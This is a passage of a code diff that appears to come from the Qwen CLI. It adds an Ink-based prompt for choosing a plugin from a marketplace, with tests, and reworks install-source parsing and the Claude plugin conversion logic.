expect(lastFrame()).toContain('more below'); + }); + + it('shows progress indicator for long lists', () => { + const plugins = Array.from({ length: 15 }, (_, i) => ({ + name: `plugin${i + 1}`, + })); + + const { lastFrame } = render( + , + ); + + // Should show progress like "(1/15)" + expect(lastFrame()).toContain('(1/15)'); + }); + }); + + describe('keyboard navigation', () => { + it('registers keypress handler', () => { + render( + , + ); + + expect(mockedUseKeypress).toHaveBeenCalledWith(expect.any(Function), { + isActive: true, + }); + }); + + it('calls onCancel when escape is pressed', () => { + render( + , + ); + + const keypressHandler = mockedUseKeypress.mock.calls[0][0]; + keypressHandler({ name: 'escape', sequence: '\x1b' } as never); + + expect(onCancel).toHaveBeenCalled(); + }); + + it('calls onSelect with plugin name when enter is pressed', () => { + render( + , + ); + + const keypressHandler = mockedUseKeypress.mock.calls[0][0]; + keypressHandler({ name: 'return', sequence: '\r' } as never); + + expect(onSelect).toHaveBeenCalledWith('test-plugin'); + }); + + it('calls onSelect with correct plugin when number key 1-9 is pressed', () => { + render( + , + ); + + const keypressHandler = mockedUseKeypress.mock.calls[0][0]; + keypressHandler({ name: '2', sequence: '2' } as never); + + expect(onSelect).toHaveBeenCalledWith('plugin2'); + }); + }); + + describe('selection indicator', () => { + it('shows selection indicator for first plugin by default', () => { + const { lastFrame } = render( + , + ); + + expect(lastFrame()).toContain('❯'); + }); + }); +}); diff --git a/packages/cli/src/ui/components/PluginChoicePrompt.tsx b/packages/cli/src/ui/components/PluginChoicePrompt.tsx new file mode 100644 index 000000000..ef463bacd --- /dev/null +++ b/packages/cli/src/ui/components/PluginChoicePrompt.tsx @@ -0,0 +1,195 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { Box, Text } from 'ink'; +import { useState, useCallback, useMemo } from 'react'; +import { theme } from '../semantic-colors.js'; +import { t } from '../../i18n/index.js'; +import { useKeypress, type Key } from '../hooks/useKeypress.js'; + +interface PluginChoice { + name: string; + description?: string; +} + +type PluginChoicePromptProps = { + marketplaceName: string; + plugins: PluginChoice[]; + onSelect: (pluginName: string) => void; + onCancel: () => void; + terminalWidth: number; +}; + +// Maximum number of visible items in the list +const MAX_VISIBLE_ITEMS = 8; + +export const PluginChoicePrompt = (props: PluginChoicePromptProps) => { + const { marketplaceName, plugins, onSelect, onCancel } = props; + + const [selectedIndex, setSelectedIndex] = useState(0); + + const prefixWidth = 2; // "❯ " or " " + + const handleKeypress = useCallback( + (key: Key) => { + const { name, sequence } = key; + + if (name === 'escape') { + onCancel(); + return; + } + + if (name === 'return') { + const plugin = plugins[selectedIndex]; + if (plugin) { + onSelect(plugin.name); + } + return; + } + + // Navigate up + if (name === 'up' || sequence === 'k') { + setSelectedIndex((prev) => (prev > 0 ? prev - 1 : plugins.length - 1)); + return; + } + + // Navigate down + if (name === 'down' || sequence === 'j') { + setSelectedIndex((prev) => (prev < plugins.length - 1 ? prev + 1 : 0)); + return; + } + + // Number shortcuts (1-9) + const num = parseInt(sequence || '', 10); + if (!isNaN(num) && num >= 1 && num <= plugins.length && num <= 9) { + setSelectedIndex(num - 1); + const plugin = plugins[num - 1]; + if (plugin) { + onSelect(plugin.name); + } + } + }, + [plugins, selectedIndex, onSelect, onCancel], + ); + + useKeypress(handleKeypress, { isActive: true }); + + // Calculate visible range for scrolling + const { visiblePlugins, startIndex, hasMore, hasLess } = useMemo(() => { + const total = plugins.length; + if (total <= MAX_VISIBLE_ITEMS) { + return { + visiblePlugins: plugins, + startIndex: 0, + hasMore: false, + hasLess: false, + }; + } + + // Calculate window position to keep selected item visible + let start = 0; + const halfWindow = Math.floor(MAX_VISIBLE_ITEMS / 2); + + if (selectedIndex <= halfWindow) { + // Near the beginning + start = 0; + } else if (selectedIndex >= total - halfWindow) { + // Near the end + start = total - MAX_VISIBLE_ITEMS; + } else { + // In the middle - center on selected + start = selectedIndex - halfWindow; + } + + const end = Math.min(start + MAX_VISIBLE_ITEMS, total); + + return { + visiblePlugins: plugins.slice(start, end), + startIndex: start, + hasLess: start > 0, + hasMore: end < total, + }; + }, [plugins, selectedIndex]); + + return ( + + + {t('Select a plugin from "{{name}}"', { name: marketplaceName })} + + + + {/* Show "more items above" indicator */} + {hasLess && ( + + + {' '} + ↑ {t('{{count}} more above', { count: String(startIndex) })} + + + )} + + {visiblePlugins.map((plugin, visibleIndex) => { + const actualIndex = startIndex + visibleIndex; + const isSelected = actualIndex === selectedIndex; + const prefix = isSelected ? '❯ ' : ' '; + + return ( + + + + {prefix} + + + {plugin.name} + + + {/* Show full description only for selected item */} + {isSelected && plugin.description && ( + + {plugin.description} + + )} + + ); + })} + + {/* Show "more items below" indicator */} + {hasMore && ( + + + {' '} + ↓{' '} + {t('{{count}} more below', { + count: String(plugins.length - startIndex - MAX_VISIBLE_ITEMS), + })} + + + )} + + + + + {t('Use ↑↓ or j/k to navigate, Enter to select, Escape to cancel')} + + {plugins.length > MAX_VISIBLE_ITEMS && ( + + ({selectedIndex + 1}/{plugins.length}) + + )} + + + ); +}; diff --git a/packages/cli/src/ui/contexts/UIStateContext.tsx b/packages/cli/src/ui/contexts/UIStateContext.tsx index e52dc7fd9..f62819527 100644 --- a/packages/cli/src/ui/contexts/UIStateContext.tsx +++ b/packages/cli/src/ui/contexts/UIStateContext.tsx @@ -15,6 +15,7 @@ import type { HistoryItemWithoutId, StreamingState, SettingInputRequest, + PluginChoiceRequest, } from '../types.js'; import type { QwenAuthState } from '../hooks/useQwenAuth.js'; import type { CommandContext, SlashCommand } from '../commands/types.js'; @@ -61,6 +62,7 @@ export interface UIState { confirmationRequest: ConfirmationRequest | null; confirmUpdateExtensionRequests: ConfirmationRequest[]; settingInputRequests: SettingInputRequest[]; + pluginChoiceRequests: PluginChoiceRequest[]; loopDetectionConfirmationRequest: LoopDetectionConfirmationRequest | null; geminiMdFileCount: number; streamingState: StreamingState; diff --git a/packages/cli/src/ui/hooks/useExtensionUpdates.test.ts b/packages/cli/src/ui/hooks/useExtensionUpdates.test.ts index bb297b473..bc0906aa3 100644 --- a/packages/cli/src/ui/hooks/useExtensionUpdates.test.ts +++ b/packages/cli/src/ui/hooks/useExtensionUpdates.test.ts @@ -13,6 +13,7 @@ import { useExtensionUpdates, useSettingInputRequests, useConfirmUpdateRequests, + usePluginChoiceRequests, } from './useExtensionUpdates.js'; import { QWEN_DIR, @@ -490,3 +491,118 @@ describe('useExtensionUpdates', () => { }); }); }); + +describe('usePluginChoiceRequests', () => { + it('should add a plugin choice request', () => { + const { result } = renderHook(() => usePluginChoiceRequests()); + + const onSelect = vi.fn(); + const onCancel = vi.fn(); + act(() => { + result.current.addPluginChoiceRequest({ + marketplaceName: 'test-marketplace', + plugins: [ + { name: 'plugin1', description: 'First plugin' }, + { name: 'plugin2', description: 'Second plugin' }, + ], + onSelect, + onCancel, + }); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(1); + expect(result.current.pluginChoiceRequests[0].marketplaceName).toBe( + 'test-marketplace', + ); + expect(result.current.pluginChoiceRequests[0].plugins).toHaveLength(2); + }); + + it('should remove a plugin choice request when a plugin is selected', () => { + const { result } = renderHook(() => usePluginChoiceRequests()); + + const onSelect = vi.fn(); + const onCancel = vi.fn(); + act(() => { + result.current.addPluginChoiceRequest({ + marketplaceName: 'test-marketplace', + plugins: [{ name: 'plugin1' }], + onSelect, + onCancel, + }); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(1); + + // Select a plugin + act(() => { + result.current.pluginChoiceRequests[0].onSelect('plugin1'); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(0); + expect(onSelect).toHaveBeenCalledWith('plugin1'); + expect(onCancel).not.toHaveBeenCalled(); + }); + + it('should remove a plugin choice request when cancelled', () => { + const { result } = renderHook(() => usePluginChoiceRequests()); + + const onSelect = vi.fn(); + const onCancel = vi.fn(); + act(() => { + result.current.addPluginChoiceRequest({ + marketplaceName: 'test-marketplace', + plugins: [{ name: 'plugin1' }], + onSelect, + onCancel, + }); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(1); + + // Cancel the request + act(() => { + result.current.pluginChoiceRequests[0].onCancel(); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(0); + expect(onCancel).toHaveBeenCalled(); + expect(onSelect).not.toHaveBeenCalled(); + }); + + it('should handle multiple plugin choice requests', () => { + const { result } = renderHook(() => usePluginChoiceRequests()); + + const onSelect1 = vi.fn(); + const onCancel1 = vi.fn(); + const onSelect2 = vi.fn(); + const onCancel2 = vi.fn(); + + act(() => { + result.current.addPluginChoiceRequest({ + marketplaceName: 'marketplace-1', + plugins: [{ name: 'plugin1' }], + onSelect: onSelect1, + onCancel: onCancel1, + }); + result.current.addPluginChoiceRequest({ + marketplaceName: 'marketplace-2', + plugins: [{ name: 'plugin2' }], + onSelect: onSelect2, + onCancel: onCancel2, + }); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(2); + + // Select from first request + act(() => { + result.current.pluginChoiceRequests[0].onSelect('plugin1'); + }); + + expect(result.current.pluginChoiceRequests).toHaveLength(1); + expect(result.current.pluginChoiceRequests[0].marketplaceName).toBe( + 'marketplace-2', + ); + expect(onSelect1).toHaveBeenCalledWith('plugin1'); + }); +}); diff --git a/packages/cli/src/ui/hooks/useExtensionUpdates.ts b/packages/cli/src/ui/hooks/useExtensionUpdates.ts index b547698f9..a86f0b814 100644 --- a/packages/cli/src/ui/hooks/useExtensionUpdates.ts +++ b/packages/cli/src/ui/hooks/useExtensionUpdates.ts @@ -17,6 +17,7 @@ import { MessageType, type ConfirmationRequest, type SettingInputRequest, + type PluginChoiceRequest, } from '../types.js'; import { checkExhaustive } from '../../utils/checks.js'; @@ -144,6 +145,71 @@ export const useSettingInputRequests = () => { }; }; +type PluginChoiceRequestWrapper = { + marketplaceName: string; + plugins: Array<{ name: string; description?: string }>; + onSelect: (pluginName: string) => void; + onCancel: () => void; +}; + +type PluginChoiceRequestAction = + | { type: 'add'; request: PluginChoiceRequestWrapper } + | { type: 'remove'; request: PluginChoiceRequestWrapper }; + +function pluginChoiceRequestsReducer( + state: PluginChoiceRequestWrapper[], + action: PluginChoiceRequestAction, +): PluginChoiceRequestWrapper[] { + switch (action.type) { + case 'add': + return [...state, action.request]; + case 'remove': + return state.filter((r) => r !== action.request); + default: + checkExhaustive(action); + return state; + } +} + +export const usePluginChoiceRequests = () => { + const [pluginChoiceRequests, dispatchPluginChoiceRequests] = useReducer( + pluginChoiceRequestsReducer, + [], + ); + const addPluginChoiceRequest = useCallback( + (original: PluginChoiceRequest) => { + const wrappedRequest: PluginChoiceRequestWrapper = { + marketplaceName: original.marketplaceName, + plugins: original.plugins, + onSelect: (pluginName: string) => { + dispatchPluginChoiceRequests({ + type: 'remove', + request: wrappedRequest, + }); + original.onSelect(pluginName); + }, + onCancel: () => { + dispatchPluginChoiceRequests({ + type: 'remove', + request: wrappedRequest, + }); + original.onCancel(); + }, + }; + dispatchPluginChoiceRequests({ + type: 'add', + request: wrappedRequest, + }); + }, + [dispatchPluginChoiceRequests], + ); + return { + addPluginChoiceRequest, + pluginChoiceRequests, + dispatchPluginChoiceRequests, + }; +}; + export const useExtensionUpdates = ( extensionManager: ExtensionManager, addItem: UseHistoryManagerReturn['addItem'], diff --git a/packages/cli/src/ui/types.ts b/packages/cli/src/ui/types.ts index bc1bd3dcd..b111f9ac7 100644 --- a/packages/cli/src/ui/types.ts +++ b/packages/cli/src/ui/types.ts @@ -422,3 +422,15 @@ export interface SettingInputRequest { onSubmit: (value: string) => void; onCancel: () => void; } + +export interface PluginChoice { + name: string; + description?: string; +} + +export interface PluginChoiceRequest { + marketplaceName: string; + plugins: PluginChoice[]; + onSelect: (pluginName: string) => void; + onCancel: () => void; +} diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index 3dc3da97a..eb6993d85 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -113,6 +113,7 @@ import { type ModelProvidersConfig, type AvailableModel, } from '../models/index.js'; +import type { ClaudeMarketplaceConfig } from '../extension/claude-converter.js'; // Re-export types export type { AnyToolInvocation, FileFilteringOptions, MCPOAuthConfig }; @@ -210,10 +211,8 @@ export interface ExtensionInstallMetadata { ref?: string; autoUpdate?: boolean; allowPreRelease?: boolean; - marketplace?: { - marketplaceSource: string; - pluginName: string; - }; + marketplaceConfig?: ClaudeMarketplaceConfig; + pluginName?: string; } export const DEFAULT_TRUNCATE_TOOL_OUTPUT_THRESHOLD = 25_000; diff --git a/packages/core/src/extension/claude-converter.ts b/packages/core/src/extension/claude-converter.ts index 1cbc726c6..7b927c64f 100644 --- a/packages/core/src/extension/claude-converter.ts +++ b/packages/core/src/extension/claude-converter.ts @@ -290,8 +290,8 @@ export function convertClaudeToQwenConfig( claudeConfig: ClaudePluginConfig, ): ExtensionConfig { // Validate required fields - if (!claudeConfig.name || !claudeConfig.version) { - throw new Error('Claude plugin config must have name and version fields'); + if (!claudeConfig.name) { + throw new Error('Claude plugin config must have name field'); } // Parse MCP servers @@ -386,7 +386,7 @@ export async function convertClaudePluginPackage( } // Step 3: Load and merge plugin.json if exists (based on strict mode) - const strict = marketplacePlugin.strict ?? true; + const strict = marketplacePlugin.strict ?? false; let mergedConfig: ClaudePluginConfig; if (strict) { @@ -583,7 +583,7 @@ export function mergeClaudeConfigs( marketplacePlugin: ClaudeMarketplacePluginConfig, pluginConfig?: ClaudePluginConfig, ): ClaudePluginConfig { - if (!pluginConfig && marketplacePlugin.strict !== false) { + if (!pluginConfig && marketplacePlugin.strict === true) { throw new Error( `Plugin ${marketplacePlugin.name} requires plugin.json (strict mode)`, ); diff --git a/packages/core/src/extension/extensionManager.test.ts b/packages/core/src/extension/extensionManager.test.ts index 51432c43a..db23038dc 100644 --- a/packages/core/src/extension/extensionManager.test.ts +++ b/packages/core/src/extension/extensionManager.test.ts @@ -20,7 +20,6 @@ import { validateName, getExtensionId, hashValue, - parseInstallSource, type ExtensionConfig, } from './extensionManager.js'; import type { MCPServerConfig, ExtensionInstallMetadata } from '../index.js'; @@ -780,46 +779,5 @@ describe('extension tests', () => { expect(id).toBe(hashValue('https://github.com/owner/repo')); }); }); - - describe('parseInstallSource', () => { - it('should parse HTTPS URL as git type', async () => { - const result = await parseInstallSource( - 'https://github.com/owner/repo', - ); - expect(result.type).toBe('git'); - expect(result.source).toBe('https://github.com/owner/repo'); - }); - - it('should parse HTTP URL as git type', async () => { - const result = await parseInstallSource('http://example.com/repo'); - expect(result.type).toBe('git'); - }); - - it('should parse git@ URL as git type', async () => { - const result = await parseInstallSource( - 'git@github.com:owner/repo.git', - ); - expect(result.type).toBe('git'); - }); - - it('should parse sso:// URL as git type', async () => { - const result = await parseInstallSource('sso://some/path'); - expect(result.type).toBe('git'); - }); - - it('should parse marketplace URL correctly', async () => { - const result = await parseInstallSource( - 'https://example.com/marketplace:plugin-name', - ); - expect(result.type).toBe('marketplace'); - expect(result.marketplace?.pluginName).toBe('plugin-name'); - }); - - it('should throw for non-existent local path', async () => { - await expect( - parseInstallSource('/nonexistent/path/to/extension'), - ).rejects.toThrow('Install source not found'); - }); - }); }); }); diff --git a/packages/core/src/extension/extensionManager.ts b/packages/core/src/extension/extensionManager.ts index 628dd9b6f..bd618b411 100644 --- a/packages/core/src/extension/extensionManager.ts +++ b/packages/core/src/extension/extensionManager.ts @@ -9,6 +9,7 @@ import type { ExtensionInstallMetadata, SkillConfig, SubagentConfig, + ClaudeMarketplaceConfig, } from '../index.js'; import { Storage, @@ -21,6 +22,7 @@ import { import * as fs from 'node:fs'; import * as path from 'node:path'; import * as os from 'node:os'; + import { getErrorMessage } from '../utils/errors.js'; import { EXTENSIONS_CONFIG_FILENAME, @@ -36,11 +38,11 @@ import { } from './github.js'; import type { LoadExtensionContext } from './variableSchema.js'; import { Override, type AllExtensionsEnablementConfig } from './override.js'; -import { parseMarketplaceSource } from './marketplace.js'; import { isGeminiExtensionConfig, convertGeminiExtensionPackage, } from './gemini-converter.js'; +import { convertClaudePluginPackage } from './claude-converter.js'; import { glob } from 'glob'; import { createHash } from 'node:crypto'; import { ExtensionStorage } from './storage.js'; @@ -62,9 +64,7 @@ import { ExtensionUninstallEvent, ExtensionUpdateEvent, } from '../telemetry/types.js'; -import { stat } from 'node:fs/promises'; import { loadSkillsFromDir } from '../skills/skill-load.js'; -import { convertClaudePluginPackage } from './claude-converter.js'; import { loadSubagentFromDir } from '../subagents/subagent-manager.js'; // ============================================================================ @@ -151,6 +151,9 @@ export interface ExtensionManagerOptions { config?: Config; requestConsent?: (options?: ExtensionRequestOptions) => Promise; requestSetting?: (setting: ExtensionSetting) => Promise; + requestChoicePlugin?: ( + marketplace: ClaudeMarketplaceConfig, + ) => Promise; } // ============================================================================ @@ -274,6 +277,9 @@ export class ExtensionManager { private isWorkspaceTrusted: boolean; private requestConsent: (options?: ExtensionRequestOptions) => Promise; private requestSetting?: (setting: ExtensionSetting) => Promise; + private requestChoicePlugin: ( + marketplace: ClaudeMarketplaceConfig, + ) => Promise; constructor(options: ExtensionManagerOptions) { this.workspaceDir = options.workspaceDir ?? process.cwd(); @@ -286,6 +292,8 @@ export class ExtensionManager { 'extension-enablement.json', ); this.requestSetting = options.requestSetting; + this.requestChoicePlugin = + options.requestChoicePlugin || (() => Promise.resolve('')); this.requestConsent = options.requestConsent || (() => Promise.resolve()); this.config = options.config; this.telemetrySettings = options.telemetrySettings; @@ -308,6 +316,14 @@ export class ExtensionManager { this.requestSetting = requestSetting; } + setRequestChoicePlugin( + requestChoicePlugin: ( + marketplace: ClaudeMarketplaceConfig, + ) => Promise, + ): void { + this.requestChoicePlugin = requestChoicePlugin; + } + // ========================================================================== // Enablement functionality (directly implemented) // ========================================================================== @@ -672,9 +688,9 @@ export class ExtensionManager { pathSeparator: path.sep, }) as unknown as ExtensionConfig; - if (!config.name || !config.version) { + if (!config.name) { throw new Error( - `Invalid configuration in ${configFilePath}: missing ${!config.name ? '"name"' : '"version"'}`, + `Invalid configuration in ${configFilePath}: missing "name"}`, ); } validateName(config.name); @@ -734,35 +750,20 @@ export class ExtensionManager { } let tempDir: string | undefined; - let claudePluginName: string | undefined; - // Handle marketplace installation - if (installMetadata.type === 'marketplace') { - const marketplaceParsed = parseMarketplaceSource( - installMetadata.source, + if ( + installMetadata.type === 'marketplace' && + installMetadata.marketplaceConfig && + !installMetadata.pluginName + ) { + const pluginName = await this.requestChoicePlugin( + installMetadata.marketplaceConfig, ); - if (!marketplaceParsed) { - throw new Error( - `Invalid marketplace source format: ${installMetadata.source}. Expected format: marketplace-url:plugin-name`, - ); - } + installMetadata.pluginName = pluginName; + } - tempDir = await ExtensionStorage.createTmpDir(); - try { - await downloadFromGitHubRelease( - { - source: marketplaceParsed.marketplaceSource, - type: 'git', - }, - tempDir, - ); - } catch (_error) { - await cloneFromGit(installMetadata, tempDir); - installMetadata.type = 'git'; - } - localSourcePath = tempDir; - claudePluginName = marketplaceParsed.pluginName; - } else if ( + if ( + installMetadata.type === 'marketplace' || installMetadata.type === 'git' || installMetadata.type === 'github-release' ) { @@ -772,11 +773,21 @@ export class ExtensionManager { installMetadata, tempDir, ); - installMetadata.type = result.type; - installMetadata.releaseTag = result.tagName; + if ( + installMetadata.type === 'git' || + installMetadata.type === 'github-release' + ) { + installMetadata.type = result.type; + installMetadata.releaseTag = result.tagName; + } } catch (_error) { await cloneFromGit(installMetadata, tempDir); - installMetadata.type = 'git'; + if ( + installMetadata.type === 'git' || + installMetadata.type === 'github-release' + ) { + installMetadata.type = 'git'; + } } localSourcePath = tempDir; } else if ( @@ -791,7 +802,7 @@ export class ExtensionManager { try { localSourcePath = await convertGeminiOrClaudeExtension( localSourcePath, - claudePluginName, + installMetadata.pluginName, ); newExtensionConfig = this.loadExtensionConfig({ extensionDir: localSourcePath, @@ -897,12 +908,7 @@ export class ExtensionManager { ); } - if ( - installMetadata.type === 'local' || - installMetadata.type === 'git' || - installMetadata.type === 'github-release' || - installMetadata.type === 'marketplace' - ) { + if (installMetadata.type !== 'link') { await copyExtension(localSourcePath, destinationPath); } @@ -1250,38 +1256,3 @@ export function validateName(name: string) { ); } } - -export async function parseInstallSource( - source: string, -): Promise { - let installMetadata: ExtensionInstallMetadata; - const marketplaceParsed = parseMarketplaceSource(source); - if (marketplaceParsed) { - installMetadata = { - source, - type: 'marketplace', - marketplace: marketplaceParsed, - }; - } else if ( - source.startsWith('http://') || - source.startsWith('https://') || - source.startsWith('git@') || - source.startsWith('sso://') - ) { - installMetadata = { - source, - type: 'git', - }; - } else { - try { - await stat(source); - installMetadata = { - source, - type: 'local', - }; - } catch { - throw new Error('Install source not found.'); - } - } - return installMetadata; -} diff --git a/packages/core/src/extension/github.test.ts b/packages/core/src/extension/github.test.ts index 87d7d22b7..c305317d2 100644 --- a/packages/core/src/extension/github.test.ts +++ b/packages/core/src/extension/github.test.ts @@ -118,32 +118,6 @@ describe('git extension helpers', () => { ); }); - it('should use marketplace source for marketplace type extensions', async () => { - const installMetadata = { - source: 'marketplace:my-plugin', - type: 'marketplace' as const, - marketplace: { - pluginName: 'my-plugin', - marketplaceSource: 'https://github.com/marketplace/my-plugin', - }, - }; - const destination = '/dest'; - mockGit.getRemotes.mockResolvedValue([ - { - name: 'origin', - refs: { fetch: 'https://github.com/marketplace/my-plugin' }, - }, - ]); - - await cloneFromGit(installMetadata, destination); - - expect(mockGit.clone).toHaveBeenCalledWith( - 'https://github.com/marketplace/my-plugin', - './', - ['--depth', '1'], - ); - }); - it('should use source for marketplace type without marketplace metadata', async () => { const installMetadata = { source: 'http://fallback-repo.com', diff --git a/packages/core/src/extension/github.ts b/packages/core/src/extension/github.ts index c13bcaf16..f5e45a684 100644 --- a/packages/core/src/extension/github.ts +++ b/packages/core/src/extension/github.ts @@ -53,10 +53,7 @@ export async function cloneFromGit( ): Promise { try { const git = simpleGit(destination); - let sourceUrl = - installMetadata.type === 'marketplace' && installMetadata.marketplace - ? installMetadata.marketplace.marketplaceSource - : installMetadata.source; + let sourceUrl = installMetadata.source; const token = getGitHubToken(); if (token) { try { @@ -239,12 +236,8 @@ export async function downloadFromGitHubRelease( installMetadata: ExtensionInstallMetadata, destination: string, ): Promise { - const { source, ref, marketplace, type } = installMetadata; - const { owner, repo } = parseGitHubRepoForReleases( - type === 'marketplace' && marketplace - ? marketplace.marketplaceSource - : source, - ); + const { source, ref } = installMetadata; + const { owner, repo } = parseGitHubRepoForReleases(source); try { const releaseData = await fetchReleaseFromGithub(owner, repo, ref); diff --git a/packages/core/src/extension/index.ts b/packages/core/src/extension/index.ts index 2940d5847..10b53da2c 100644 --- a/packages/core/src/extension/index.ts +++ b/packages/core/src/extension/index.ts @@ -2,3 +2,5 @@ export * from './extensionManager.js'; export * from './variables.js'; export * from './github.js'; export * from './extensionSettings.js'; +export * from './marketplace.js'; +export * from './claude-converter.js'; diff --git a/packages/core/src/extension/marketplace.test.ts b/packages/core/src/extension/marketplace.test.ts index 5a69bf388..f7900b752 100644 --- a/packages/core/src/extension/marketplace.test.ts +++ b/packages/core/src/extension/marketplace.test.ts @@ -4,75 +4,208 @@ * SPDX-License-Identifier: Apache-2.0 */ -import { describe, it, expect } from 'vitest'; -import { parseMarketplaceSource } from './marketplace.js'; +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; +import { parseInstallSource } from './marketplace.js'; +import * as fs from 'node:fs/promises'; +import * as https from 'node:https'; -describe('Marketplace Installation', () => { - describe('parseMarketplaceSource', () => { - it('should parse valid marketplace source with http URL', () => { - const result = parseMarketplaceSource( - 'http://example.com/marketplace:my-plugin', +// Mock dependencies +vi.mock('node:fs/promises', () => ({ + stat: vi.fn(), +})); + +vi.mock('node:fs', () => ({ + promises: { + readFile: vi.fn(), + }, +})); + +vi.mock('node:https', () => ({ + get: vi.fn(), +})); + +vi.mock('./github.js', () => ({ + parseGitHubRepoForReleases: vi.fn((url: string) => { + const match = url.match(/github\.com\/([^/]+)\/([^/]+)/); + if (match) { + return { owner: match[1], repo: match[2] }; + } + throw new Error('Not a GitHub URL'); + }), +})); + +describe('parseInstallSource', () => { + beforeEach(() => { + vi.clearAllMocks(); + // Default: HTTPS requests fail (no marketplace config) + vi.mocked(https.get).mockImplementation((_url, _options, callback) => { + const mockRes = { + statusCode: 404, + on: vi.fn(), + }; + if (typeof callback === 'function') { + callback(mockRes as never); + } + return { on: vi.fn() } as never; + }); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + describe('owner/repo format parsing', () => { + it('should parse owner/repo format without plugin name', async () => { + const result = await parseInstallSource('owner/repo'); + + expect(result.source).toBe('https://github.com/owner/repo'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBeUndefined(); + }); + + it('should parse owner/repo format with plugin name', async () => { + const result = await parseInstallSource('owner/repo:my-plugin'); + + expect(result.source).toBe('https://github.com/owner/repo'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBe('my-plugin'); + }); + + it('should handle owner/repo with dashes and underscores', async () => { + const result = await parseInstallSource('my-org/my_repo:plugin-name'); + + expect(result.source).toBe('https://github.com/my-org/my_repo'); + expect(result.pluginName).toBe('plugin-name'); + }); + }); + + describe('HTTPS URL parsing', () => { + it('should parse HTTPS GitHub URL without plugin name', async () => { + const result = await parseInstallSource('https://github.com/owner/repo'); + + expect(result.source).toBe('https://github.com/owner/repo'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBeUndefined(); + }); + + it('should parse HTTPS GitHub URL with plugin name', async () => { + const result = await parseInstallSource( + 'https://github.com/owner/repo:my-plugin', ); - expect(result).toEqual({ - marketplaceSource: 'http://example.com/marketplace', - pluginName: 'my-plugin', - }); + + expect(result.source).toBe('https://github.com/owner/repo'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBe('my-plugin'); }); - it('should parse valid marketplace source with https URL', () => { - const result = parseMarketplaceSource( - 'https://github.com/example/marketplace:awesome-plugin', + it('should not treat port number as plugin name', async () => { + const result = await parseInstallSource('https://example.com:8080/repo'); + + expect(result.source).toBe('https://example.com:8080/repo'); + expect(result.pluginName).toBeUndefined(); + }); + }); + + describe('git@ URL parsing', () => { + it('should parse git@ URL without plugin name', async () => { + const result = await parseInstallSource('git@github.com:owner/repo.git'); + + expect(result.source).toBe('git@github.com:owner/repo.git'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBeUndefined(); + }); + + it('should parse git@ URL with plugin name', async () => { + const result = await parseInstallSource( + 'git@github.com:owner/repo.git:my-plugin', ); - expect(result).toEqual({ - marketplaceSource: 'https://github.com/example/marketplace', - pluginName: 'awesome-plugin', - }); + + expect(result.source).toBe('git@github.com:owner/repo.git'); + expect(result.type).toBe('git'); + expect(result.pluginName).toBe('my-plugin'); + }); + }); + + describe('local path parsing', () => { + it('should parse local path without plugin name', async () => { + vi.mocked(fs.stat).mockResolvedValueOnce({} as never); + + const result = await parseInstallSource('/path/to/extension'); + + expect(result.source).toBe('/path/to/extension'); + expect(result.type).toBe('local'); + expect(result.pluginName).toBeUndefined(); }); - it('should handle plugin names with hyphens', () => { - const result = parseMarketplaceSource( - 'https://example.com:my-super-plugin', + it('should parse local path with plugin name', async () => { + vi.mocked(fs.stat).mockResolvedValueOnce({} as never); + + const result = await parseInstallSource('/path/to/extension:my-plugin'); + + expect(result.source).toBe('/path/to/extension'); + expect(result.type).toBe('local'); + expect(result.pluginName).toBe('my-plugin'); + }); + + it('should throw error for non-existent local path', async () => { + vi.mocked(fs.stat).mockRejectedValueOnce(new Error('ENOENT')); + + await expect(parseInstallSource('/nonexistent/path')).rejects.toThrow( + 'Install source not found: /nonexistent/path', ); - expect(result).toEqual({ - marketplaceSource: 'https://example.com', - pluginName: 'my-super-plugin', + }); + + it('should handle Windows drive letter correctly', async () => { + vi.mocked(fs.stat).mockResolvedValueOnce({} as never); + + const result = await parseInstallSource('C:\\path\\to\\extension'); + + expect(result.source).toBe('C:\\path\\to\\extension'); + expect(result.type).toBe('local'); + // The colon after C should not be treated as plugin separator + expect(result.pluginName).toBeUndefined(); + }); + }); + + describe('marketplace config detection', () => { + it('should detect marketplace type when config exists', async () => { + const mockMarketplaceConfig = { + name: 'test-marketplace', + owner: { name: 'Test Owner' }, + plugins: [{ name: 'plugin1' }], + }; + + // Mock successful API response + vi.mocked(https.get).mockImplementation((_url, _options, callback) => { + const mockRes = { + statusCode: 200, + on: vi.fn((event, handler) => { + if (event === 'data') { + handler(Buffer.from(JSON.stringify(mockMarketplaceConfig))); + } + if (event === 'end') { + handler(); + } + }), + }; + if (typeof callback === 'function') { + callback(mockRes as never); + } + return { on: vi.fn() } as never; }); + + const result = await parseInstallSource('owner/repo'); + + expect(result.type).toBe('marketplace'); + expect(result.marketplaceConfig).toEqual(mockMarketplaceConfig); }); - it('should handle URLs with ports', () => { - const result = parseMarketplaceSource( - 'https://example.com:8080/marketplace:plugin', - ); - expect(result).toEqual({ - marketplaceSource: 'https://example.com:8080/marketplace', - pluginName: 'plugin', - }); - }); + it('should remain git type when marketplace config not found', async () => { + // HTTPS returns 404 (default mock behavior) + const result = await parseInstallSource('owner/repo'); - it('should return null for source without colon separator', () => { - const result = parseMarketplaceSource('https://example.com/plugin'); - expect(result).toBeNull(); - }); - - it('should return null for source without URL', () => { - const result = parseMarketplaceSource('not-a-url:plugin'); - expect(result).toBeNull(); - }); - - it('should return null for source with empty plugin name', () => { - const result = parseMarketplaceSource('https://example.com:'); - expect(result).toBeNull(); - }); - - it('should use last colon as separator', () => { - // URLs with ports have colons, should use the last one - const result = parseMarketplaceSource( - 'https://example.com:8080:my-plugin', - ); - expect(result).toEqual({ - marketplaceSource: 'https://example.com:8080', - pluginName: 'my-plugin', - }); + expect(result.type).toBe('git'); + expect(result.marketplaceConfig).toBeUndefined(); 